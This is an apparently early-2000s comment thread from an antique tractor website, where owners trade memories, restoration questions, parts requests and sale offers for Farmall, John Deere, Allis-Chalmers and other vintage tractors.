Len Meier wrote on Sunday, January 12, 2003 (PST):Its amazing how many B Farmall's are still working. I have a 1946 that my family has used for mowing and pulling a utility wagon for 50 years. It has been on the farm since 1953. Sometime, many years ago, the water jacket was cracked both inside and out. Does anyone in the midwestern US have a block for sale that is not cracked. If I can get one, I can run it another 50 years.
chuck melburg wrote on Sunday, January 12, 2003 (PST): New to the farmall cub family. Somewhere in oct of 2001 I bought a raffel ticket for a cub tractor. I forgot I even had the ticket. You guest it, I won what was to be a restored Cub. Meaning it was painted,new tires, and ran good. I noticed some leaks,oil,gas,etc. So to date I have replaced all bearings,seals,bushings,trans & pto shafts,rebuilt carb,hyd pump & resivor,new oil pan. The only thing not rebuilt from front to rear is the eng & clutch. It is a fun toy and I love it. I would like to get a belly momer for it this summer, so if anyone knows of one somewhere in the Ill,Iowa, or Mo area for sale please let me know.Oquawka Ill phone# 309-867-3975
Carey Pettit wrote on Saturday, January 11, 2003 (PST):Im restoring a Silverking and need to know wear to get parts
chris harnness wrote on Friday, January 10, 2003 (PST):i do have a b forsale it in darn good shape like to sale it has about 85% tires in rear and same in the front i live in southwest missouri my phone number is 1417-357-6192 or cell 1-417-434-3645 asking 1500 0bo
john deere man wrote on Friday, January 10, 2003 (PST):Ive got two of these they are pretty good tractors but im looking for a jubilee
John Deere Man wrote on Friday, January 10, 2003 (PST): Ive got one of these my grandpa bought it when he just started farming and everyone thought he was crazy for buying such a big tractor but look at the tractors now!!!!!!
phil martinez wrote on Thursday, January 09, 2003 (PST):My neighbor has an AC G.It has a wide power take off pulley on the left side below the drivers seat.We have yet to find a lever of any kind to engage this unit.Can anyone help solve this mystery?
David G wrote on Wednesday, January 08, 2003 (PST):I am looking for an allis g in good running condition. Hydraulics and implements would be a bonus. Please email if you know of any for sale.
KH wrote on Wednesday, January 08, 2003 (PST):I have a B it is a great mowing tractor.
Tim Harker wrote on Tuesday, January 07, 2003 (PST):I have driven a g-1000 and have recently purchased a g-1355 and it was all because of that one time my uncle let me drive the g-1000 about 20 years ago!!!!!!
Hubert MAWET ( Belgium ) wrote on Tuesday, January 07, 2003 (PST):i own the same model W OIL PULL srial # 99 , i bought this tractor over 5 years ago in South Dakota originaly the tractor ha's worked in Canada , it is a very powerfull small tractor , i enjoy it on each show here in Belgium very few came over to Europe only 3 are known 1 in Belgium , 1 in Spain , and 1 in UK but this one is a L 15/25? we call the OIL PULL tractors the ROLLS ROYCE of the tractors
Michael Aydt wrote on Monday, January 06, 2003 (PST):Hi My Name is Mike. I own a Johndeere 60. I use it to go tractor pulling. I am from Stewart Minnesota and my tractor is still used on the farm today. I well never sell that tractor, It was my first tractor that I restored about 3 years ago and I am now 18. I also wanted to say that The 60 was meant to replace the G they are real close in horse power but the 60 has just a little bit more than the G. I anyone has any ?'s about my 60 or any 60 feel free to ask. I could be a big help if I don't know the answer I know people who well.
Mike Kunz wrote on Monday, January 06, 2003 (PST):I am looking for a three point hitch for my 1951 Massey Harris 44 gas. If anyone has one email me about it. I also have a 1953 Massey Harris 23 Mustang that I restored last year. My dad has a Massey Harris 30 wheatland that my grandfather bought new.
Jim Vassar wrote on Sunday, January 05, 2003 (PST):I am interested in purchasing a Farmall Cub. Needs to be in great shape and have all attachments that came with it for the year. Also needs hydrolics. I live in Nashville, Tennessee and also have a farm in Huntsville, Alabama. Phone # 615-831-0001
kyle wrote on Sunday, January 05, 2003 (PST):my dad and uncles own a 1949 8n. We have alot of other tractors but my favorite is the 8n.
kevin C. Stuart wrote on Sunday, January 05, 2003 (PST):I have a 1948 DI Case built May 25 1948,orginally it was a loader tractor and was shipped to Roy C. Wayne supply company,If any body knows were this company was located I would be very thankful.
Larry Morgan wrote on Sunday, January 05, 2003 (PST):What does a crawler like yours sell for?
steve zaragoza wrote on Friday, January 03, 2003 (PST):I have owned a 1949 WD for 25 years, bought it for $100 from a guy who bought it new. It has never been kept in doors ,run great does not smoke, it only plows snow 1 or 2 times a year, W.Pa.
sue an harvey berry wrote on Thursday, January 02, 2003 (PST):My husband has a #44. It was my grandfathers pride an joy. We would some info on the ole girl. I would also like to know where we can find any toy models of it.
Glenda Stermer-Simpson wrote on Thursday, January 02, 2003 (PST):Hi. My uncle is looking for parts for a Ford Offset Workmaster Model 541; a left axle and a radius road. Would anyone know of anyone selling parts or a salvage yard where we could possibly locate them? Thank you so much for your time.
Terry Danson wrote on Tuesday, December 31, 2002 (PST):I Have a 1917 or 1919 8/16 kerosene. It is all complete including fenders and should run. Does anyone know the value of this tractor. Thanks in advance.
gary peck wrote on Tuesday, December 31, 2002 (PST):I have a 48' MH44 that I intend to recondition for daily use would appreciate any help in getting started with this project thanks
Bill Marshall wrote on Tuesday, December 31, 2002 (PST):Regarding Model "R" John Deere's. My Dad bought one in the spring of 1961. I was 17 years old. It replaced as the farm working tractor a 29 Model "D". This "R" had the engine rebuilt. The former owner had 2 R's bought new and replaced them when the 4010's came out. We bought the "R" for $1800.00. The "R"'s, if not properly warmed up or put to work too soon would score the cylinder wall. This happened to this tractor. So it was rebuilt, 45 over and tuned up. The other R sold for $1700. but the tires were not so good. The first spring we broke an axle disking on soil bank, shop warranty, and in the late 70's the starting engine blew it's crank. Also I developed a crack in the head and had it replaced in the early 80's. This served as the main tractor on a 640 acre farm in North Dakota until thelate 80's when it was replaced by a 4025jd. I purchased this tractor in 2000 from my 84 year old Dad in exchange for a riding lawn mower and a small tilting utility trailer at a cost of $1265.00. The engine still runs good. I give hayrides with this tractor. What a show to start in cool weather. The tractor is apart right now, am having the rearend gone through. The rear oil pump that lubes the transmission wasn't working due to a bearing failure. This in turn lead to underlubing of the moving parts in the rear diferential. Both side gears need replacing as well as pump parts and the like. It will also restore the pto and hydrolics. Tractor has new rubber all the way around. In answer to several questions above, The Model "R" weighs empty 7200 lbs empty. My "R" has fluid in tires, about 450 lbs each, plus 2 wheel weight inside and outside of each rear wheel. I'm guessing about 150 lbs per weight= about 1200 lbs in weights totaling overall about 92 to 9400 lbs with fuel and water. There is a plug behind and to the rear of the flywheel to check for oiling of transmission. Transmission pump styles changed at serial # 5100 and were a little easier to service. My tractor is # 4384. Can you tell if I'm proud of my little smoker. My two grandsons, age 9 and 5 love it to, cuz it Grandpa's tractor 651-437-6256 Add. 3489 Cory Ln, Hastings Mn.
Pat wrote on Monday, December 30, 2002 (PST):I am currently repairing a 1952 Case SC that fell in a pit a couple of years ago and was abondoned by the friends who sent it there! I'm rebuilding it for my Girlfriend so she can haul the manure spreader with it. She loves it and appreciates my work! It's nearly done and looks like new but I am currently in need of a magneto for it. Any help is apprecited.
Nick wrote on Monday, December 30, 2002 (PST):I have a farmall Super M with live hydrolics, with one out put line. My question is, can I use this one line to run a log splitter, and how would I cofigure a return line? The log splitter does not have a control lever. Could I use the tractor hydro lever? Or would I need a seperate actuator? Any Info would be greatly appreciated. Thanks, Nick
Billy Ratliff wrote on Sunday, December 29, 2002 (PST):I have an AOS that I need bat-wings and grill for. A couple of years ago I purchased a fiberglass grill that did not work, I also have bat-wings that I don't think I will be able to mount because they will have to be twisted as they are put on to make the correct shape. I would appreciate any information on AOS sheet metal.
RHughes wrote on Saturday, December 28, 2002 (PST):I bought the most worn out B along with several other old tractors in a package deal. Didn't think I wanted it but I had a 72" Kubota belly mower that I had traded for. I made an unslung power takeoff to and fabricated brackets to fit the old B. It took a while to do but it turned out great! I mowed my 3 acre yard with it for 4 years before the old B died. I took the B to a salvage yard and kept the mower and adapters in hopes of finding another old B to put it on. I got a lot of comments on this rig when I used it. It was a grass cutting machine! I am now mowing with a 140 Farmall with a Woods 60" mower. The tractor is great, but the Kubota mower deck mounted on an old B was far superior!
wayln weinzetl wrote on Friday, December 27, 2002 (PST):I have an john deere R that I can not get the pony motor to run. it has all new rings,an gaskets,the pistons and cylinder walls looked like new with out a ring groove. it has a lots of spark, and is getting gas. any help would be greatly appreciated. phone # is 218-766-3026 if not there leave message thank you
Harold wrote on Friday, December 27, 2002 (PST):I own a 1938 f-20 with electric start, foot brakes,hydraulics, and road gear. Good tractor
Jim Hansen wrote on Friday, December 27, 2002 (PST):I have a 1951 M in showroom condition and am interested in selling it to anyone seriously interested in a outstanding tractor. Less than 100 origianl hours on the tractor. It was stored for 37 years.
Francisco Peste, Portugal wrote on Thursday, December 26, 2002 (PST):I have a 1953 Farmall Super MD, working, with documents and i was interested in sell it...where can i advertise it??thanks
Ron Satzler wrote on Wednesday, December 25, 2002 (PST):I have a 1930 that looks exactly like this one except mine has spokes in the rear wheels. My love for the L and LA was born one day about 1950 when I was about 10 years old. In eastern Ks where dad farmed the farms were small and the biggest tractors were DC's, M's, WD's,A's,88's. A neighbor had a son farming in western Ks where farms were big. They hauled an LA from western Ks to our small farm community to do some heavy tillage. One of my lasting impression is hearing "something" coming up the road that was definitely louder and different than the usual tractor. As it passed our house, it was the biggest, most awesome tractor I had ever seen and it was towing a great big one-way plow. I ran down the road to the field where the LA was working. After following it through the field on foot for I don't remember how long, I was invited to ride on it. For a poor farm boy, life didn't get any better than that!!!
Delwyn Page wrote on Tuesday, December 24, 2002 (PST):I would like to know how much a 444 is worth in excelent running condidtion.
David wrote on Monday, December 23, 2002 (PST):Hello. Where could you find the orchard tin for a tractor like this. Reproduced or used. Some one sent me an email on this question and I deleted it before I read it. Could you send it again. Thankyou David
Austin Mills wrote on Sunday, December 22, 2002 (PST):Me and my dad got a 1953 8n. The hole alternater is waysted. We need a new bracket to hold it in place, The frame that holds it has a big crack threw it. But it funs , not very good but it runs.
James Barrett wrote on Sunday, December 22, 2002 (PST):I am having problems with condensate build up and rust in the gas tank of my 1959 model Farmall. What can I do to eliminate these problems?
Robert Bradley wrote on Saturday, December 21, 2002 (PST):I, Robert Bradley, of Benton, Illinois now own a 70 Oliver Row Crop. It is in mint condition from motor to bady. E-mail me at jamesr at hcis.net
Dave Olson wrote on Saturday, December 21, 2002 (PST):Want to purchase an F-20 with electric start, foot brakes, on rubber. Can give a little TLC but not major. Just want to putt around. I'm located in East Central Illinois. Email or phone 217-427-5557. Thanks, Dave Olson
kenny bell wrote on Thursday, December 19, 2002 (PST):i was look at the different types of old tractors trying to decide on one thta i would want to get to rebuild and i have decided to get a R so if you have one for sell please email me.
dean nylen wrote on Thursday, December 19, 2002 (PST):I have a case and I am told its a 1948 D. I will sell for $800. It runs but missing on one cylinder.
Art Wilson wrote on Thursday, December 19, 2002 (PST):Back in the early 1940's I was 8 years old and was "strongly encourged" to learn to drive my Uncle and Grandpa's Oliver 70, Iron tire, tractor so I could spend many hours working the fields of Arkansas Bottoms while they were doing other things. That same tractor, (What is left of it), is sitting in my cousin's front yard as memorabilia. It is in very bad shape. (Over the years parts have been stolen, weather, birds, etc). I now have a desire to have a picture of one of those as a keepsake for my Genealogy Book. Does anyone know how I may find one?
steve hacker wrote on Tuesday, December 17, 2002 (PST):i have a 1949 R serial#1733 i am restoreing it now, it is running shape but looks rough, my dad bought it and a 15 tandem disk in 1977 for 1400.00 and when he go it the pony moter didnt run, he took it off and it has been setting outside, we always pulled it to start it, i plowed alot of ground with the ol tractor, we nick named it the "power house" there just wasnt much it wouldnt do around our farm. now i am all grown up, and love going to the shows, i am restoreing the R first, i hope my dad lives long enough to see it when i am done, it still runs good but needs some minor work, all the hydrylics still work good and pto work good, i am in need of some other parts like pony moter parts, fenders, battery box, hood, and poss a radiator, just thought i would share this,,,any idea's on locating salvage parts would be apreciated,,,thx steve
Dug_E wrote on Monday, December 16, 2002 (PST):I am in the process of restoring my Grandfather's Farmall Model C #1815. He bought the tractor in the mid 50's painted red, and equippped with touch controll hydraulics and the adjustable front axle. Upon the initial washing of the tractor I found the single coat of red paint washed off as readily as the dirt, to reveal a dirty white paint job underneath. I have since learned that this was a dealership 50th anniversary demonstrator model from early 1950 and was re-painted red at the dealership before being sold. I am searching for some knowlegable people to help me learn some of the history and details of the Model C. Over the years some things have been added and changed to the tractor, so I would appreciate any information on options avaliable at this time. The tractor is presently equipped with a rolling draw bar and backwards folding seat assembly. Both of which I believe have oame off a newer model. I also need to know if there is supposed to be a spark arrestor, muffler, and what model carburator was it equipped with? I think the carburator may have been changed as well. I am also looking for a complete decal package for the tractor including; hood, model, gastank, air cleaner, breather cap, pto guard, fan blade, fender, lights, and oil filter decals in the demostrator sceme. I also understand a few parts such as the wheels, air cleaner, and possialbly the steering wheel, lights, and perhaps some other parts were still painted red, is this true? If anyone can help me with any facts, stories, information, or history about this great tractor, please e-mail me, I would greatly appreciate it. Thanks. P.S Does anyone know for certain exactly what the differences between the c and the super c is in 1950?
tom mills wrote on Monday, December 16, 2002 (PST):my dad recently inherited my great grandfathers f-20 farmall we would like to know the year of it and arent able to figure it out the serial # is 1565da any info on this would be a great help
james corder wrote on Sunday, December 15, 2002 (PST):the minneapolis-moline g1000vista is one of the best looking tractors that was ever made in my opinion. i've always had trouble understanding just how MM went down. it had to be just plain bad management because my experience with the MM brand indicated they were of top quality and durability, two things farmers find necessary in their equipment. no matter what the configuration the g1000v is just a very fine looking machine!
jerry smallwood wrote on Saturday, December 14, 2002 (PST):just bought a m sn 47633 need to know the year , great tractor wsmall8931 at aol.com
scott leith wrote on Friday, December 13, 2002 (PST):have a vai dont know what year it is tag is gone tractor has a eagle hitch and drawbar also a side belt pullie would like to know what year it is pully is broken would not work when i got it any info would be help full thanks
Steve Crites wrote on Friday, December 13, 2002 (PST):I have a 1938 model b to which I have fitted a hydraulic pump,double acting loader, 3 pt. style hitch and a log splitter. I replaced the FM magneto with a 1-2 reducer and a distrubutor. It runs great and works hard but doesn't look much like a "B". I am restoring a "c" and would like to get some "new" sheet metal. Does anyone know where I could find an engine cover and front cowl?
Curle, Colin D wrote on Wednesday, December 11, 2002 (PST):Can you get any technical data on these Port Hurons? My great-great-grandad had one and it killed him the very day he took possession of it (see Brandon Sun, Monday Sept. 23-rd 1903), either bridge he was driving it on collasped or they drove it off the bridge. He and the fireman were trapped under the engine for two days untill their bodies were recoverd. The pocket watch he wore was restored only ninety-one years later (an 1881 11-jewel Waltham PS Bartlet) and I am hoping to qualify as steam engine engineer this may at the Austin agricultural museum. As for the engine, I am told she was sold logging concern working in Turtle Mountain, Manitoba around 1936.
Ron Parry wrote on Wednesday, December 11, 2002 (PST):My father and Oliver dealer from 1956 until he retired in 1978, saw to it that I had a way to pay my through college. He purchased a Super 55 D put a side mower on it and got a contract from the state of Pa. to mow road banks. So from 1964 to 1968 I spent every day each summer, mowing roads. That old 55 used and average of 3 gallons of fuel every day and except for filters and changing the oil that was the total cost of maintaining the 55 for four years of running 8hrs a day each summer. PS I made 6.00 dollars per hr. I thought I was rich. I really wish I still had that old 55. He sold it after I graduated from college in 1969.
jim wrote on Wednesday, December 11, 2002 (PST):just got one not sure if its super a or av modl#FAA-V serl#307 sure would like to know it has the 36" wheels and long front end jim grahamchristine at hotmail.com
ron wrote on Wednesday, December 11, 2002 (PST):looking to buy a cub--IH, in restored condition, original parts, ---do you know of one?
Jerry Feist wrote on Sunday, December 08, 2002 (PST):I have a 1948 or 49 Farmall A with a Woods mower. Tractor has been repainted with new farmall stickers. Brand new rear tires. This is a nice tractor. I was using it to mow a model aircraft flying site. We have since aquired the city to mow the site and I have put my tractor up for sale.
Bill Oster wrote on Sunday, December 08, 2002 (PST):I am looking for a John Deere model L Or LA to restore. Would like books or any info on it. Thanks
Tom McDonald wrote on Friday, December 06, 2002 (PST):I am looking to buy working condition Cub tractor with a belly mower. I'm located in South Texas, but will travel for the right deal. 210-651-3008 or email.
SHAUN STACK wrote on Thursday, December 05, 2002 (PST):the m is the easiest tractor to work with
Terry wrote on Thursday, December 05, 2002 (PST):Thinking it may be helpful to add my telephone #.Am in Phx. Az. at 480-926-6147
Terry wrote on Thursday, December 05, 2002 (PST):Am looking for an I H carburetor for a 1950 farmall cub.Anyone having an extra or parts carb please contact me
Robert Nicholson wrote on Wednesday, December 04, 2002 (PST):My dad purchased a 1952 VA in Fenelon Falls Ontario Canada to replace the clydesdale team. I remember the excitment on the day it was unloaded from the dealers truck onto the manure pile. The tractor was used to work a 100 acre mixed farm in Ontario until 1965. I still have the tractor which needs new rear tires, the originals are quite weathered. This tough little tractor stood the abuse of 3 boys learning to drive and operate equipment. Other than the odd clutch replacement the tractor is original.
J wrote on Tuesday, December 03, 2002 (PST):carbureator,water neck off of engine onto radiator,generator,and starter for allis g
MADDOG wrote on Tuesday, December 03, 2002 (PST):TO fix those drivelines with weak BEVEL GEARS,splined axles, etc. First, the problem...The problem exists because the parts in question WERE NOT HEAT-Treated PROPERLY. When these drivelines were designed, the technology to PROPERLY heat-quench these parts did NOT exist. Many of the old diesel engines are capable of power well in excess of what the drivelines of these tracters, crawlers and dozers would tolerate. AS a machinist/engine rebuilder for 33+ years; I have learned a "few things" about getting drivelines to withstand lots of "excess torque". I had the same problem with an Allis-Chalmers D-21 (the AC 426 cu. in. Turbo-diesel is probably the STRONGEST pulling tractor engine ever produced).ALLIS-Chalmers realised that they had a "problem" with the D-21; the engine produced far more torque than the rear end could handle (actually the CLUTCH assembly was the STRONGEST component in the driveline).Since the D-21 Series II diesels can be tweaked to 200 (PTO horsepower)just by increasing the D/fuel flow, something in the driveline HAS to fail. I solved this problem by RE-Heat-treating EVERY critical metal component in the D-21's driveline to MODERN day metal specifications. This is NOT a quick procedure and requires high temp ovens and or oxy-acetylene torches with the required temperature-monitoring equipment, but IT WILL solve the problem of WEAK final-drive components.
Joel Bartling wrote on Monday, December 02, 2002 (PST):I am 13 and own a farmall C that was passed down from my great grandpa to my grandpa to my dad and then to me. We use to have a junky mounted sickle mower that came with the tractor. We got rid of that about 8 years ago. Now what we realy want in a mounted john deere #37 mower with a 7' bar. If you now of any forsale in South Dakota or Nebraska please email me
Steven wrote on Monday, December 02, 2002 (PST):I have a Farmall cub tractor for sale we are located in New York. This tractor is all original and runs like new! I am looking to get $3200. Please call me at (917) 693-9695
Gordon Ferguson wrote on Sunday, December 01, 2002 (PST):Looking for engine parts; belt pully; exhaust for recently aquired case LA serial no 5408866LA. There is no footbrake fitted just a handbrake but the linkage to the brake drum is missing. There is a square hole in the footplate beside the handbrake lever. Is this anything to do with a footbrake pedal that should have been fitted or was fitted at one time? Any help most appreciated. Western Australia.
Rj Scheller wrote on Friday, November 29, 2002 (PST):any unwanted tractor for under 1,000
Guy Brown wrote on Thursday, November 28, 2002 (PST):I was once at the wheel of on of these great old rumley doall's. It was great for gettin the job done. slow and reliable. pussy is good
Charles Parker wrote on Thursday, November 28, 2002 (PST):I have the D15 Seriews II that my dad had when he died in 1977. I found it and bought back it 2 years ago. The person who bought it after dads death did not take very good care of it. A lot of rust. I have the motor un-stuck and it runs good. The Air Cleaner is on the right side, it has a dry filter, it is rusted out and I am looking for one that is in good shape. Plans are to put the D15 back like new, as near as possible. I would appreciate any information.
Don Sarchet wrote on Monday, November 25, 2002 (PST):Have owned 10 in the last 10 years. Still have 4 of them. Was raised on a 1927 or 28 D and had never been around an "R" until I bought the first one in 1992 Serial No. 7400. Fell in love with it and now it is my favorite model John Deere. Recently aquired Serial No. 1144, the 145th built. It is a keeper, has rope start on pony. Keep them poppimg.
joe wrote on Sunday, November 24, 2002 (PST):I don't know what year it is forsure but i was told it is a 48 it runs great every thing works it is an awesome tractor!!!
joe wrote on Sunday, November 24, 2002 (PST):I just got a farmall cub in great shape some one restored it was thinking of selling it.I have the belly mower that has a slip clucth a blade an a plow all in great shape. MAKE AN OFFER
todd erickson wrote on Saturday, November 23, 2002 (PST): i am looking for conversion kit to put v8 in a 9n does anyone know where to get kit email me please thanks
Jenny Applegate wrote on Friday, November 22, 2002 (PST):I have a 1935 F-20 I desperatly need wheels for if anyone could assist me with these please comment.
WAYNE ETTER wrote on Thursday, November 21, 2002 (PST):I have a 1938 moline and have gotten parts off of a 1937 moline. The 1937 has a round tin seat and heavy iron wheels on the rear. It also has a red mesh grill and the exhaust on the right and intake on the left.
Bill Oster wrote on Thursday, November 21, 2002 (PST):I am looking for an L or LA to restore
Robert Zoromski wrote on Wednesday, November 20, 2002 (PST): Found a Massey Harris super Thanks for all your help
Francisco JAvier wrote on Wednesday, November 20, 2002 (PST):I have a McCormick Farmall Cub tractor that says the next on a little plate; FABRIQU EN FRANCE PAR CIMA HI PARIS MOD.; FF CUB N SERIE 711332 VITESSE DE REGIME MAX; 1800 TR/MN I want to know where can we find information about this tractor and which was its manufacturing year. Thak you very much in advanced.
William Dorn wrote on Tuesday, November 19, 2002 (PST):I am in need of an engine block for an F-20.I have a nice tractor that is old but nearly complete.It will be a nice project but I need the block. Any help would be appreciated.Thanks.
Mike C. wrote on Monday, November 18, 2002 (PST):I was given an 1946 Allis B that is missing the starter,magneto{ If that year had one}, carb,and generator. Will need help in finding these parts.I live in N> Florida, Thanks Mike
Jim wrote on Sunday, November 17, 2002 (PST):does anybody know where to get a 4cylinder to a v8 conversion kit or a bell houseing adapter for a 1952 ford 8n any information would be appreciated e-mail me at Murphy66 at webtv.net or Jbm4166 at aol.com thanks
Mark F. wrote on Saturday, November 16, 2002 (PST):Looking to purhase a Allis Chalmers G tractor. I will pay a good price, and not try to steal it..Prefer in the Northwest...Washington, Oregon, Idaho..But would be willing to have one shipped if necessary..Thank You, Mark...PS looking for one W/ seeders and cultivators if available..
Scott Buckley wrote on Saturday, November 16, 2002 (PST):I have a Oliver 70 1946 that make's alot of grinding noise in tran or rearend I was told that it is from the straight cut Gear's, any one know about this ,it's lould.
Matt M wrote on Thursday, November 14, 2002 (PST):What would the value be on a running SMD with wide front and fenders.
Ed wrote on Wednesday, November 13, 2002 (PST):To Matt M. The one point hitch or "fast hitch" is an IH "invention" and is extreemly usefull, I would prefer it over the old three point! There are many implements available for it. BUT THEY AIN'T CHEEP!!!!! try jptractorsalvage
Jon Grimsley wrote on Tuesday, November 12, 2002 (PST):I have finally gotten my great grandpas 1938 f-20 engine is stuck and has not moved for 28 years. the rear wheels have rusted and collapsed I am going to restore it and my father is helping me he used it as a kid and it is very important to me since i dont remember my grandfather. it has a road gear and is all complete with nothing missing. but how will i find rear wheels for it i think they are 34 inch tires and wheels. and where do i start this is my first tractor and i think i am going to get a education. Help please.
Larry Pagan wrote on Tuesday, November 12, 2002 (PST):I am in need of parts for Rock Island, ie. in-put shaft etc.
grandpas41a wrote on Tuesday, November 12, 2002 (PST): I own a restored 1945 LA complete with the PL20 planter. I have for sale the modle 7C mower for the tractor. I really enjoy the LA. With my John Deere 6 horse Model "E" engine, the pair draws quite a lot of attention at tractor shows.
Alan Pattison wrote on Tuesday, November 12, 2002 (PST):I am looking at picture of a 2236 in Tractor and Machinery magazine Dec 2002. The text says it is fitted with a CLM 50hp two-stroke diesel engine. Would this be an original fitting or something aftermarket.I was just interested to know, even in fact if there is such an engine Yours Alan.
Norman Callaway wrote on Monday, November 11, 2002 (PST):looking for implements for allis G massey pony oliver60 farmall A and allis B in saskatchewan Canada I make side panels and mufflers for massey pony same as original phone 306 567 4201
Norman Callaway wrote on Monday, November 11, 2002 (PST):looking for implements for allis G massey pony oliver60 farmall A and allis B in saskatchewan Canada I make side panels and mufflers for massey pony same as original phone 306 567 4201
roger wyatt wrote on Monday, November 11, 2002 (PST):i bought a mh 44gr from a friend for 500.00 runs good but i need to know what the timing is supposed to be for the 4 cyl continental gas engine
Russell Leib wrote on Saturday, November 09, 2002 (PST):I just really enjoyed this page. Thanks! I remember as a kid I ran an F20 reg. many hours a day. I especially remember getting a rock between the two rows cleats and how easy the wheels spun. O the fun. Now I am currently restoring a late f20 and need a drawbar. If anyone can help me, please let me know.
Jared Calvert wrote on Saturday, November 09, 2002 (PST):Just got a B and it has the wrong seat. I need to know if the serial number is found anywhere else on the tractor. 254-647-1855 jcalvert3 at academicplanet.com Thanks, Jared Calvert
Marti wrote on Thursday, November 07, 2002 (PST):Opps. Our tractor is either an A or a B, but we do have extensive smoke damage and would like to hear from someone in Southern CT that might be able to help us. Thanks
Marti wrote on Thursday, November 07, 2002 (PST):Our workhorse, the 1947 Farmall Cub was smoke damaged when lightening hit our barn on 9/4/02. Is there anyone in southern Connecticut that could clean up the smoke damage on our antique tractor, I believe it has original paint. Please contact Ray & I asap. Thanks
Jared P. Nimick wrote on Wednesday, November 06, 2002 (PST):3 years ago I purchased a Sheppard single cylinder diesel engine with approx. 8 hp. with an attached Twin-disc clutch assembly. The unit is in beautiful shape with the story that it was pulled out of a ships belly 30+ years ago in perfect running condition and placed in storage. The unit has not been run since.I have too many projects at this time, and would like to sell this to someone who can make it run again.What is it worth, or does anyone have any literature that can help? It's in beautiful shape, and needs to run again!
David Poser wrote on Wednesday, November 06, 2002 (PST):I'm looking for a small tractor to use/restore. Anyone have one for sale? thanks.
Terry Traxson wrote on Tuesday, November 05, 2002 (PST): I decided to do one of my reports for a college class on this tractor primarily because my dad owned two of them. I grew up on a farm in rural southeast kansas, and I still love to think of the symetrical sound of the massive 2 cylinder diesel. I was wondering if anyone knows where I might get some more technical information on this tractor (I am researching the engine in particular). The tractors that my dad owned was an agricultural as well as an industrial. One website that I visited said that there was only 127 industrial versions produced. Anyway, thanks for the help!
Jerry Herman wrote on Tuesday, November 05, 2002 (PST):Is their anyone out their that still makes tracks to fit modern tractors.
Matt M wrote on Tuesday, November 05, 2002 (PST):I'm interested in a Cub to be sold at an auction but it has 1pt hitch. WHAT IS 1PT Hitch & how useful is it? Are their implements available for this system? Thanks for any help.
bob wrote on Monday, November 04, 2002 (PST):I have a 41 A that I added hydraulics to and have a 16 in. plow from a cub{ supposedly the same as for an A}, but need to see pictures of the hookup to the tractor.
ray royal wrote on Sunday, November 03, 2002 (PST):I am looking to buy an 8n or 9n ford tractor at a reasonable price, i live in northeast louisiana
SANDRO wrote on Saturday, November 02, 2002 (PST):solicito informacion tecnica sobre el tractor farmall regular para restaurar una unidad similar
richard v larusso wrote on Saturday, November 02, 2002 (PST):i restore a m/h 81 a real great machine but can get any vsie covers sherwin willian carry paint chips for agreat number of antique.
Frank McPhillips wrote on Friday, November 01, 2002 (PST):I am looking for a Super MD made in late 52 or 53. I would like to find one made in Louisville, KY if possible. I do not know if a diesel was made their. My father, three uncles and 2 great uncles were all working at the Louisville plant during this period. They have all past and am unable to find out much info on a diesel made in Louisville. I know gas was produced but am not sure about diesel. I would like to make this a family project to restore, show and pull if one can be found. Any info about diesels produced in Lou. KY would be greatly appreciated.
mark stoltz phone 6291267 wrote on Friday, November 01, 2002 (PST):I know of one. their is only 7 knowed!! mike bellin has one
scrany wrote on Thursday, October 31, 2002 (PST):Cookie, If you scroll up about 30 comments you will see an article about dating your tractor by "Farmike"
curtis allen wrote on Wednesday, October 30, 2002 (PST):I own48 model H its starting to clatter in 2nd gear especially going down hill and also when clutch is engaged when in 2nd or higher.It has gear oil in it.Is it tranny or throw out bearing or?
Larry Burnworth wrote on Wednesday, October 30, 2002 (PST):Recently purchased a 50 M, carb needs a needle/valve seat. It is a IH carb. Anyone want to share the specs with me on the float level and drop? tnx Larry in NE Ind.
biff barner wrote on Tuesday, October 29, 2002 (PST):I have a '32 f-12 with narrow front-end on rubber and many several spare parts including magnetor and fuel pump accessories...my granfather farmed with it since it was new. It was rebuilt in 1980's as a parade tractor..still in good shape, but needs some cleaning up..started it just yesterday....although I hate to part with it the time has come....any Idea how much we should ask for this tractor? anybody interested.
Marv Larson wrote on Tuesday, October 29, 2002 (PST):Yes, I've run one of these as new in 1955,working it 6-7 years. It was a good tractor for our needs, however, I didn't like the huge jump in gear ratio from 2nd to 3rd. 2nd was too slow, and 3rd was too fast. This tractor could've used another gear between. I understand that the 600 did have this improvement. Does anyone know for sure? I could be wrong on this point. I'm convinced that the MM- Model G would've been a better choice for us at the time. Being a teenager then, I had not that choice. I think $$$ cost was a considerable factor. The Case 500 was a less exspensive choice, and the man/operator availability, even though diminishing then, was sufficient to apply the extra time required to operate a smaller machine. Hence, an extra plow rating was not as important as was the initial cost, for us, near Choteau, Mt.
NATHAN MCNATT wrote on Monday, October 28, 2002 (PST):looking for a place to buy parts for a i think it is 1942 farmall smd not sure on the year any help well be greatfull
Ed wrote on Sunday, October 27, 2002 (PST):I just picked up a front blade for my 52 Cub. There are some mounting parts missing, does any one have a manual or picture so I can fabricate the mounts? THANKS!!!! ED
Ron Gabalis wrote on Sunday, October 27, 2002 (PST):I have 3 F12-F14 tractors two with gas engines one without, all on steel lug wheels. They have been outdoors for 30 years or more. I have many farm implements from the thirtys. I also have an old Massy Harris,& Allis Chalmer's tractor. I would sell them (CHEAP) single or all together as a package. Call at 989-275-4346 or E-mail me.
Lawrence Kole wrote on Saturday, October 26, 2002 (PDT):We had an 820 and an 830 Rice Special on the farm were I grew up in Chambers Co. Tex. I spent many many days on those tractors working up the heavy gumbo soil on our farm pulling molboard plows, disks, harrows and pulling rice carts during the harvest. There is no way I could have known back then in the '50's and '60's how lonesome I would get someday just to hear that sound again. I yearn to hear that comforting authority of the sound of those tractors again. Gosh, I do so desperately need to hear them again.
CARLOS CADENA wrote on Saturday, October 26, 2002 (PDT): I RECENTLY BOUGHT A FARMALL B AND WAS TOLD THAT THE WATER PUMP WAS BAD, IT RUNS GREAT BUT LEAKS WATER FROM THE OVERFIOW TUBE. I'VE WORKED FOR 8 HOURS AT A TIME AND IT ONLY LOSES ABOUT 2 QUARTS OF WATER.IT DOES NOT LOOK LIKE ITS OVERHEATING,MY QUESTION IS WHERE IS THE WATER PUMP LOCATEDAND IS THIS THE PROBLEM.
